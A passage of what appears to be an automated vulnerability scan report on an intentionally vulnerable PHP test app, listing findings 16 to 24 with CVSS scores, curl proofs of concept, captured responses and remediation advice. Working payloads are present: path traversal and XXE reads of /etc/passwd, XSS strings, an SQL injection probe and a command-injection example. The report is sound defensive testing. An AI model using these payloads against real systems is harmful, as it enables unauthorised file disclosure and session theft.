Flow: $_GET['file'] flows through getParam() into $file, which is concatenated to __DIR__ . '/files/' . $file and passed to file_get_contents(). No realpath/basename guard, enabling directory traversal with ../../../etc/passwd.

Confidence 92% (High)

+50 Confirmed (strong signal)
+20 Direct detection (indicator)
+15 Damning token in response ("root:x:0:0")
+2 Reproduced by 2 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=path_traversal&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
```

Evidence (live response):

```
…le Viewer</h2><p>Reading:
/var/www/html/files/../../../../../etc/passwd</p><pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:6…
```

Remediation

Never build filesystem paths from user input — map requests to a fixed allowlist and canonicalize before use.

- Map the user-supplied identifier to a server-side allowlist of permitted files; never use it as a path directly.
- Canonicalize the resolved path (realpath) and verify it is still inside the intended base directory before reading.
- Reject traversal sequences AFTER decoding (../, ..\, encoded %2e%2e, and stripped variants like ....//).
- Run with least privilege so sensitive files (/etc/passwd, app secrets) are unreadable by the web user.

References: CWE-22 · CWE-73 · OWASP: Path Traversal · OWASP: File Path Traversal Prevention Cheat Sheet

[16] GGC-XXE-43C · XXE — xml

CONFIRMED CVSS 7,5 High · CWE-611 XML External Entity Reference · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=xxe

Impact: FILE_READ (Direct)

Flow: $_POST['xml'] (or the raw request body via php://input) is passed to DOMDocument::loadXML() with LIBXML_NOENT | LIBXML_DTDLOAD flags, explicitly enabling external entity substitution and DTD loading. The parsed XML is then echoed via $doc->saveXML(). libxml_disable_entity_loader(false) is also called. This enables XXE for file disclosure and SSRF.

Confidence 95% (High)

+50 Confirmed (strong signal)
+20 Direct detection (xxe-inband-reflection)
+15 Damning token in response ("root:x:0:0")
+5 Reproduced by 5 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'http://172.26.203.184/ggsec_test_app.php?page=xxe' --data '<?xml
version="1.0"?><!DOCTYPE ggsec [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><ggsec>&xxe;</ggsec>'
```

Evidence (live response):

```
…n="1.0"?> <!DOCTYPE ggsec [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<ggsec>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:6…
```

Remediation

Disable external entity and DTD processing in the XML parser.

- Disable entity loading/DTDs (e.g. libxml_disable_entity_loader, LIBXML_NONET, no LIBXML_NOENT/DTDLOAD).
- Prefer a hardened parser configuration or a non-XML format (JSON) where possible.

References: CWE-611 · OWASP: XXE Prevention Cheat Sheet

---

[17] GGC-XSS-FCA · XSS — author

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: crawl-form: ggsec_test_app.php?page=xss_stored&post_id=1

Impact: SESSION_THEFT (Direct)

Flow: A crawler-discovered POST form (not in the SAST plan) reflects a submitted field into HTML without encoding.

Confidence 79% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (crawl-xss-post)
+4 Reproduced by 4 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=xss_stored&post_id=1' --data 'crawl-xss-post'
```

Evidence (live response):

```
[CRAWL] POST form field 'author' reflects an HTML payload unescaped in the response.
<h2>Comments</h2><div class='comment'><b></b>: CSRF_injected_comment</div><div
class='comment'><b></b>: </div><div class='comment'><b></b>: </div><div class='comment'><b></b>:
</div><div class='c…
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

---

[18] GGC-XSS-909 · XSS — comment

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: crawl-form: ggsec_test_app.php?page=xss_stored&post_id=1

Impact: SESSION_THEFT (Direct)

Flow: A crawler-discovered POST form (not in the SAST plan) reflects a submitted field into HTML without encoding.

Confidence 79% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (crawl-xss-post)

+4 Reproduced by 4 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=xss_stored&post_id=1' --data 'crawl-xss-post'
```

Evidence (live response):

```
[CRAWL] POST form field 'comment' reflects an HTML payload unescaped in the response.
<h2>Comments</h2><div class='comment'><b></b>: CSRF_injected_comment</div><div
class='comment'><b></b>: </div><div class='comment'><b></b>: </div><div class='comment'><b></b>:
</div><div class='…
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

---

[19] GGC-XSS-9E0 · XSS — location.hash

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=xss_dom

Impact: SESSION_THEFT (Direct)

Flow: DOM-based XSS: JavaScript emitted by the PHP handler reads window.location.hash, decodes it with decodeURIComponent(), and assigns it directly to document.getElementById('output').innerHTML. This is a client-side source-to-sink flow (location.hash -> innerHTML) that executes only in a browser and CANNOT be confirmed by HTTP DAST — needs manual / headless-browser verification.

Confidence 75% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (dom-xss-headless)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'http://172.26.203.184/ggsec_test_app.php?page=xss_dom#<payload>' --data 'dom:<img
src=x onerror="window.__ggdom='GGSECDOMXSS7'">'
```

Evidence (live response):

```
DOM-based XSS CONFIRMED in a headless browser: a payload placed in location.hash was executed by
the client-side sink (onerror/onload marker set).
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

---

[20] GGC-XSS-9E0 · XSS — location.hash

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=xss_dom

Impact: SESSION_THEFT (Direct)

Flow: DOM-based XSS: JavaScript emitted by the PHP handler reads window.location.hash, decodes it with decodeURIComponent(), and assigns it directly to document.getElementById('output').innerHTML. This is a client-side source-to-sink flow (location.hash -> innerHTML) that executes only in a browser and CANNOT be confirmed by HTTP DAST — needs manual / headless-browser verification.

Confidence 78% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (xss-reflection)
+3 Reproduced by 3 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=xss_dom&location.hash=%23%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
```

Evidence (live response):

```
…e></head> <body> <h2>DOM-based XSS</h2> <div id="output"></div> <script> // PODATNOŚĆ:
location.hash użyty bezpośrednio w innerHTML // Taint flow: URL fragment → decodeURIComponent →
innerHTML var hash = window.location.hash.substring(1);…
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

---

[21] GGC-XSS-277 · XSS — original_name

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=file_upload_rce (file listing)

Impact: SESSION_THEFT (Chained)

Flow: The original_name of uploaded files (from $_FILES['upload']['name']) is stored in the uploads table via prepared statement, then echoed without encoding in the file listing: echo " " . $u['original_name'] . " (" . $u['mime_type'] . ") ". Both original_name and mime_type are user-controlled and echoed unencoded — stored XSS.

Confidence 90% (High)

+50 Confirmed (strong signal)
+20 Direct detection (stored-xss-get)
+15 Damning token in response ("/etc/passwd")
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=file_upload_rce'
```

Evidence (live response):

```
…flected&search=<script>alert(1)</script> CMD: ?page=cmd_exec&host=127.0.0.1;cat /etc/passwd Path:
?page=path_traversal&file=../../../etc/passwd SSTI: POST ?page=ssti, content={{7*7}}, engine=twig
XXE: POST ?page=xxe, body=&lt;!DOCTYPE...&gt; </pre> </body></html>
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

---

[22] GGC-XSS-2E9 · XSS — search

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: crawl: /ggsec_test_app.php?page=xss_reflected&search=test

Impact: SESSION_THEFT (Direct)

Flow: A crawler-discovered param-bearing endpoint (not in the SAST plan) reflects the parameter into HTML without encoding.

Confidence 81% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (crawl-xss)
+6 Reproduced by 7 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i '/ggsec_test_app.php?page=xss_reflected&search=test'
```

Evidence (live response):

```
…for: <b>ggsecXSS7</b></p><input type='hidden' name='q' value='<b>ggsecXSS7</b>'><script>var lastSearch = '<b>ggsecXSS7</b>';</script>
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

---

[23] GGC-XSS-E80 · XSS — title

CONFIRMED CVSS 6,1 Medium · CWE-79 Cross-site Scripting · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ggsec_test_app.php?page=ssti&render=321

Impact: SESSION_THEFT (Direct)

Flow: Second-order stored XSS: user-controlled 'title' is written to storage and later echoed into HTML without output encoding on the render path (CWE-79).

Confidence 78% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (stored-xss-2nd-order)
+3 Reproduced by 3 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=ssti&render=321'
```

Evidence (live response):

```
Stored XSS: a 'title' submitted to the store endpoint was rendered UNESCAPED (<b>ggsecSTORED7</b>) in the render response ggsec_test_app.php?page=ssti&render=321 — persisted, so it fires for every viewer of that page.
```

Remediation

Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.

- Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
- Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
- Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.

References: CWE-79 · OWASP: XSS Prevention Cheat Sheet

[24] GGC-VULN-B8F · PII_EXPOSURE — Email address

LIKELY CVSS 5,3 Medium · CWE-359 Exposure of Private Personal Information · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 3.4.1 / 3.5.1 · ISO/IEC 27001:2022 A.5.34 / A.8.24 · GDPR Art. 5(1)(f) + Art. 32 + Art. 34 (breach notification)

Location: HTTP response body

Impact: NONE (Direct)

Flow: The application returns Email address in a response body; sensitive personal data / credentials are exposed to the client (and any intermediary).

Confidence 43% (Low)

+18 Likely (weak signal only)
+20 Direct detection (pii-email)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i
'ggsec_test_app.php?page=sqli_first_order&id=1%20AND%20%28SELECT%20CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%
```

Evidence (live response):

```
Exposed Email address in a response body — 3 occurrence(s). Masked sample: a***@ggsec.local. First
seen:
ggsec_test_app.php?page=sqli_first_order&id=1%20AND%20%28SELECT%20CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%2
Personal data / secret…
```

Remediation

Stop returning personal data / secrets in responses; minimise, mask, and access-control sensitive fields.

- Remove secrets (keys/tokens/private keys) from responses entirely; rotate any that leaked.
- Return only the fields the client needs (data minimisation); mask IDs/cards (e.g. last 4) server-side.
- Gate personal data behind authorization and send Cache-Control: no-store on those responses.
- Map this to GDPR/RODO Art. 5 (minimisation) & Art. 32 (security of processing); log/justify any PII egress.

References: CWE-359 · OWASP: Sensitive Data Exposure · GDPR/RODO Art. 32